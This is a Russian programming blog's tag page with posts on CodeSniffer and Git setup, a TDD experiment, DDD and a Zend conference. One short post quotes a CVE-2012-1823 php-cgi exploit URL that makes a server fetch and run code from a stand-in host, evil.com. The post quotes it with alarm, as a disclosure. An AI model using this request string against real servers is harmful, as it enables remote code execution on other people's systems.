39 заметок с тегом

Программирование

Про внимание к деталям

Даже если под капотом вашего проекта космолет, фантастическая архитектура и новейшие технологии, а на интерфейсе есть кривенькая верстка, отсутствуют отступы, переносы слов и скроллы, где не должно их быть, заказчик и пользователь будет думать, что делали систему криворукие неучи, что внутри там просто кошмар, хлам и рухлядь, раз команда, которая делала проект элементарные косметические вещи исправить не способна.

2017   Полезное   Программирование
2015   Базы данных   Программирование

6 языков для мастера

Пару недель назад Максим, лид из моей команды, прислал ссылку на статью six languages to master. В общем-то, там поются дифирамбы Python, C, ML, Clojure, Scala т. к. они постепенно открывают в программисте настоящего мастера. Любителям этих языков будет приятно почитать :) Ну и Java с  C++ ругает.

Мне же понравился абзац про «Самодокументирующийся код». Постоянно от программистов требую писать документацию к коду так, чтобы можно было свернуть в редакторе код класса, прочитать текст, и понять что та или иная функция делает. Иногда встречаю недовольное ворчание «ну по коду же и так понятно всё», или возражение: «комменты же устаревают!» Забавно :)

Ну и повеселил взгляд на то, что современные IDE упрощают писать много уродливого кода. Кстати, что-то в этом есть. Ctrl+Click на названии класса или функции позволяет легко перемещаться по огромному количеству файлов в проекте, что, несомненно, упрощает жизнь разработчикам. Но и способствует написанию такого кода, когда нужно открыть 17-20 различных классов по очереди, чтобы понять, откуда в итоге берутся данные. Довелось над таким проектом работать, но тогда что-то не оценил.

2013   Программирование

Code sniffer

Снова копирую собственную статью из вики в бложек. Половина авторства принадлежит Сергею Бухарову.

Code sniffer — инструмент для инспекции кода на соответствие стандартам. Существует огромное количество стандартов кодирования на PHP. В нашей команде, например, используется стандарт Zend для кода, и стандарт PEAR для док-блоков. Это пояснение важно, поскольку к статье приложен файл с именно этим шаблоном проверки.

Что такое:
Комплекс инструментов, позволяющий держать код в рамках стандарта.
Основной этих инструментов является Code Sniffer — консольная утилита, проверяющяя соотвествие стандарту файлы на PHP, JavaScript и CSS. Это важный инструмент для развитя и поддержания кода в чистоте

Инсталяция

Инсталяция Code Sniffer:

pear install PHP_CodeSniffer

у Code Sniffer’a кодировка по умолчанию iso-8859-1, поэтому кириллицу в уникоде символ считает за 2. Чтобы этого не было, нужно поставить кодировку по умолчанию utf-8:

sudo phpcs --config-set encoding utf-8

Установка стандарта кода TRS
создать папку «TRS» в /usr/share/php/PHP/CodeSniffer/Standards.
Скопировать туда файл ruleset.xml

Использование:

phpcs --standard=TRS trunk/library/SOA/Contract

Интеграция CodeSniffer и PHPStorm

Как интегриовать:
1) File -> Settings
2) Editor -> External tools
3) Add
4) в форме указать:
Имя: <любое понятное тебе>
Program: phpcs
Parametrs: report=emacs standard=TRS $FilePath$
Добавить Output Filter: $FILE_PATH$:$LINE$:$COLUMN$

Что получится в итоге:
Запуск CodeSniffer горячей клавишей из Шторма
Вывод результата в интерфей шторма
Все ошибки будут паривязаны к строкам кода, возможен быстрый переход на проблемное место

Использование:
После правки любого файла необходимо пройтись по нему CodeSniffer’ом для выявления не соотвествующему стандарту кода.
Для этого в контекстном меню появится пункт с именем, которое было задано при интеграции с PHPStorm’ом

Результат будет примерно следующий:

Строки кликабельны.
После фикса всех предупреждений можно комитить изменения в репозиторий. Делать это можно при помощи любого инструмента.

Реформат кода в PHP Storm


PhpStorm для реформатирования кода можно использовать команду Code/Reformat Code..., которая делает отступы/выравнивания/итд для php-скриптов. Можно просто импортировать настройки (settings.jar) моего phpStorm, много ручной работы будет делать за вас он сам.

Использование:
Открываем в Шторме нужный файл, в контекстном меню появится дополнтельный пункт с именем, указаном выше.

CodeSniffer and git hooks


Положить в папку opencity/.git/hooks/ файлы pre-commit, pre-commit-phpcs, pre-commit-debug-output и asker c правами 0755 из архива http://redmine.trs.io/attachments/4453/pre-commit.zip
Пример (предварительно необходимо скачать pre-commit.zip):

cd /var/www/opencity/.git/hooks
cp <ваш путь к pre-commit.zip> pre-commit.zip
unzip pre_commit.zip
chmod 0755 pre-commit pre-commit-phpcs pre-commit-debug-output
rm pre_comment.zip
pre-commit — скрипт хука
pre-commit-phpcs — скрипт проверяющий на соответствие стандартам кодирования
pre-commit-debug-output — проверяет наличие функций для отладочного вывода (var_dump, var_export, etc)
asker — программа запроса действия

На этом установка завершена.

Теперь при попытке закомитить файлы расширения php и phtml они будут пропущены через codeSniffer стандарта TRS
Коммит завершится успешно в случае соответствия стандарту.
В случае не соотвесвия стандарту будут выданы ошибки, похожие на эти

Игнорирование не стандартизованого кода
Бывают ситуации, когда изменение кода, не проходщего валидацию codeSniffer’ом не целесообразно. Например, вы включили в проект чужую библиотеку и никогда в жизни никто не полезет в ее исходники, тогда можно воспользоваться конструкцией:

<?php
много кода
// @codingStandardsIgnoreStart
здесь тоже много кода, но он не будет проверен
// @codingStandardsIgnoreEnd
дальше много кода

В этом случае код, находящийся между

@codingStandardsIgnoreStart

и

@codingStandardsIgnoreEnd

не будет проверен. Но в этом случае надо создать шапку файла и в ней подробно описать почему именно так сделано.

2013   Полезное   Программирование

Про Git

Скопипащу сюда свой собственный мануал для новеньких разработчиков.

Установка git


$ sudo su
$ apt-get install git-core git-gui git-doc

SSH ключи


Шаг 1. Проверяем есть ли у вас уже ключи.

cd ~/.ssh
Если отвечает “No such file or directory“ идем на шаг 3. Иначе идем на шаг 2.

Шаг 2. Бекапим имеющиеся

mkdir key_backup
cp id_rsa* key_backup
rm id_rsa*

Шаг 3. Создаем новый ключ

ssh-keygen -t rsa -C «your_email@domain.ru»
[enter]

Шаг 4. Нужно добавить ваш ключ на репозиторий, например gitorius, gitlab, bitbucket

cat id_rsa.pub
ctrl+c ctrl+v в браузер.

Шаг 5. Добавляем персональную информацию

git config —global user.name «Firstname Lastname»
git config —global user.email «your_email@domain.ru»

Использование


git init — создать в этой папке git репозиторий
git status — получить информацию на какой ветке мы сейчас находимся, список внесенных изменений
git checkout development — переключиться на основную девелоперскую ветку.
git pull origin development — скачать с серевра самую свежую версию ветки development и залить ее в текущую ветку.
git checkout -b new_branch_name — создать новую ветку из текущей (на которой вы сейчас находитесь).
git reset —hard — отменяет все изменения сделанные до коммита
git commit -a — сохраняет на вашем локальном компе в ветке все изменения, которые вы внесли
git push origin branch_name — закачивает на сервер вашу модифицированную ветку

Для работы в общем-то и этого набора команд достаточно :)

Ништяки


Вывод названия текущей ветки в строку приглашения bash.
Выглядит примерно так: /var/www/site (master) $
Создать в домашней директории файл .gitbranch.sh с правами на исполнение для владельца:

#!/bin/bash
 
GIT_BR=`git symbolic-ref HEAD 2&gt; /dev/null | cut -b 12-`
 
if [ "$GIT_BR" = "" ]; then
    echo -n
else
    echo -n "($GIT_BR)"
fi
</pre>
в файле .bashrc, находящейся в домашней директории найти строку
<pre class="brush:shell">if [ "$color_prompt" = yes ]; then
PS1='...

и заменить ее на

if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\e[1;31m\]:\[\e[01;34m\]\w\[\e[00m\]`~/.gitbranch.sh`\[\e[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w`~/.gitbranch.sh`\$ '
fi

так же 10 строками выше можно раскоментировать force_color_prompt=yes

GUI

Многие разработчики в нашей команде используют либо командную строку, либо gtk-шный Git Gui. Я же рекомендую SmartGit, пожалуй это лучший клиент из всех что я видел. Еще весьма неплохо работает с гитом клиент, встроенный в PHP Storm.

Из очень удобных клиентов под Linux я бы еще назвал Gitg. Он особенно полезен для просмотра дерева веток и истории слияний веток между собой. Устанавливается он с полпинка по apt-get install gitg.

Вот забавно, хотел сейчас причитать о том, как жаль, что под Mac нет такого классного инструмента, как оказалось, что Gitg это клон GitX, содранного с маков :)

Под Windows я использую тот же самый SmartGit и консоль (mingw), которая поставилась самим инсталлятором. Скачать git для windows можно на http://git-scm.com/

Ссылки по теме:
Прекрасная книга Pro Git
Магия Git — другая прекрасная книга про гит

2013   Linux   Автоматизация   Полезное   Программирование

TDD не понравилось

Разработка через тестирование — весьма странное занятие.
Я попробовал на новом проекте и пока нахожусь в смятении. Наверняка дело в мышлении, которое осталось с прошлого опыта: сначала реализация, потом функциональное тестирование приложения. Покрытие кода тестами делалось обычно постфактум, и обычно тесты были не тупыми проверками работоспособности функций, а проверка связанного функционала, поведения то есть. Behavioral.
Мне не нравится все что я тут понаписал потому, что, несмотря на то, что код покрыт тестами, абстракция сосёт!

Но тем не менее. Давайте-ка посмотрим на то, что я тут понаписал.

Требовалось создать демона, который проверяет базу данных на наличие записи в БД с марекером created и делает полезную работу.
Итак, codeflow демона:

  1. найти записи с статусом created, взять данные
  2. изменить статус на processing
  3. сделать по данным из п.1 много полезной работы
  4. сохранить результаты работы в другой таблице
  5. изменить статус на done

Начал я создавать функциональность демона именно в той последовательности, в которой операции и должны проводиться. Как бы потому, что это последовательность действий, а не просто набор действий.

По всем правилам TDD я создал тест:

//Найти записи со статусом created
    public function testGetCreatedOrders()
    {
        $daemon = new Daemon();

        $result = $daemon->getCreatedOrders();

        $this->assertTrue(is_array($result);
        var_dump($result);
    }

Потом был написан очень простой код в классе Daemon:

class Daemon 
{
    public function getCreatedOrders()
    {
        return Application_Model_Order::getOrderByOurStatus("created");
    }
}

И вот тут первый вопрос у меня.
Нужен ли вообще тест на этот метод, при том, что тест на этот метод уже реализован для класса Application_Model_Order?

Конечно же, можно задать вопрос, нужен ли вообще этот однострочный метод в классе, но например, нужен. Нужен хотя бы по тому, что я только начал, и это полет мысли. Возможно, я потом передумаю, но вот здесь и сейчас мне нужна функциональность, и я просто хочу, чтобы она была такой.

Окей, идем дальше, ко второму пункту.

public function testMarkOrderProcessing()
    {
        $daemon = new Daemon();

        $result = $daemon->markOrderProcessing(1);

 		$this->assertTrue(1==$result);
        
        var_dump($result);
    }
</pre>
Ололо, что нам нужно сделать:
<pre class="brush:php">
    public function markOrderProcessing($orderId)
    {
        return Application_Model_Order::markOrder($orderId, 'processing');
    }

Как удобно :)

Идем к третьему пункту.

public function testParseData()
    {

    	$mock = "{"some":"data", "in":"json format"}";

        $daemon = new Daemon();

        $result = $daemon->necessaryWork($mock);

 		$this->assertTrue(isset($result['blabla']);
        
        var_dump($result);
    }

Отлично, в моем приложении уже появился какой-то интересный код в necessaryWork.

public function necessaryWork($orderId, $rawData)
    {
        $order = Zend_Json_Decoder::decode($rawData);

        $someData = $this->_generateSomeData($order);

        $elseData = $this->_doSomethingElse($order);

        return array($someData, $elseData);
}

Идем к четвртому пункту.

public function testSaveInfo()
    {

    	$mock = array('results'=>'of the work', 'of'=>'necessaryWork method');

        $daemon = new Daemon();

        $result = $daemon->saveData($mock);

 		$this->assertTrue(1==$result);
        
        var_dump($result);
    }

Условный код в классе:

public function saveData($data)
{
	$obj = new Application_Model_Obj();

    $obj->name = $data['name'];
    $obj->city = $data['city'];

    $obj->save();
}

Пятый пункт выполнился совершенно так же, как пункт 2.

Итак, у меня появилась полная функциональность моего демона реализованная через тесты. Осталось сделать один главный метод на демоне, который и будет делать всю работу. Тест:

public function testMain()
    {

        $daemon = new Daemon();

        $result = $daemon->main;

 		$this->assertTrue(1==$result);
        
        var_dump($result);
    }

Рабочий метод в классе демона:

public function main()
	{
		//найти created
        $order = $this->getCreatedOrders();
        if (!isset($order[0])) {
            return false;
        } else {
             $order = $order[0];
        }

        //пометить как processing
        $this->markOrderProcessing($order['id']);

        //сделать полезную работу
        $necessaryData = $this->necessaryWork($order['id'], $order['necessarydata']);

        //сохранить в бд
        $this->saveData($necessaryData);

        //пометить как done
        $this->markOrderDone($order['id']);

        echo 'done for id = ' . $order['id'] . PHP_EOL;
	}

Вот и готов мой демон. Весь тестами покрыт, код читабельный, поддерживаемый.
Но что здесь не так?! Все методы public. Жутко бесит, хочется взять и убрать.

Если бы я не использовал TDD, пабликом у меня был бы только necessaryWork, т. к. только он является реально новым кодом, на который следует создавать тест.

Вот теперь как поступить с этим всем? Оставить все методы пабликами и пусть идет кровь из глаз, или все методы скрыть и оставить наружу только work(), который в цикле постоянно запускает private _main()?

Так-то становится понятным теперь, почему ребятки питонисты из соседней конторы шлют лесом всю инкапсуляцию в своих исходниках. Я надеюсь, что это вот вздор так останется ерундой.

P.S. разумеется, всё сокрыл и ненужные тесты потер. Нечего мне тут.

По теме:
Introduction to Test Driven Development
Простое написание тестов — это не TDD!
Ошибки начинающих TDD-практиков.

2012   Программирование

Domain Driven Design DDD

DDD это подход к проектированию систем, который говорит как и в каком порядке нужно проектировать структуру класов приложения. Основная идея — что проектирование должно базироваться на объектах, определяющую предметную область (domain), которые содержат в себе не только свойства, но и бизнес-логику. А доступ к данным и отображение — вещи второстепенные.

Такой подход позволяет больше думать о том, что происходит в системе, чем думать о том, как это происходит. По моему опыту, откладывание проектирование базы данных, или хотя бы использование безсхемного хранения данных, очень ускоряет разработу прототипа, а затем и конечного продукта.

Для проектирования я использую Activity Diagram и Sequencess Diagram в Visual Paradigm. Очень удобно.

По теме:
Шаблоны DDD описаны на wiki,
Введение DDD — отлично прокомментирован сам подход на блоге Александра Кондуфорова
Business domains for developers — о сути DDD и инструментах
Предметно-ориентированное проектирование (DDD). Структуризация сложных программных систем — книга о DDD, наш ведущий разработчик уже очень хорошо о ней отозвался.

Самое главное в разговоре с разработчиками о DDD, напоминать, что третья D это Design, а не Development :)

2012   Программирование

Не перестаю удивляться

Просто уму не постижимо, что в 2012 году все еще находят в PHP какие-то феерические баги.

Меня раньше несколько удивляло, что время от времени в php находились баги, которые позволяли запускать вредоносный код, расположенный на совершенно посторонних серверах. Но я тогда был ASP-куном, в чьем мирке это просто невозможно. А теперь это так близко, что я испытываю шок.

http://www.metasploitminute.com/2012/05/cve-2012-1823-php-cgi-bug.html

Просто скопипащу это сюда про CVE-2012-1823:

Remote Code execution: index.php/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://evil.com/code.txt%20-n

this negates php.ini settings and Suhosin extension (since the “-n” flag tells PHP not to use an php.ini file at all, hence the Suhosin extension is not loaded).

2012   Программирование

ZF Conf 2012

Вернулись сегодня с конференции по Zend Framework, которая в этом году проходила в Москве.
Особенно интересными докладами, мне показались по code generation Виктора Фараздаги и о распределенных сетевых приложениях с ZF Алексея Качаева.

Кстати, одним из докладчиков был Энрико Зимуэль, из компании Zend, который рассказал, что в компании всего три человека на зарплате занимаются Zend Framework 2, а основную работу делают 30-40 людей из интернетов.

Как обычно, все самое интересное было на афтепати: полемика о контрактном программировании, о передаче параметров в виде структурированного массива, о кешировании, о памяти, о JSON-RPC и о SOAP.

В целом все очень понравилось, новых знаний привез. Как появится видео, добавлю сюда ссылок.

2012   Программирование
Ранее Ctrl + ↓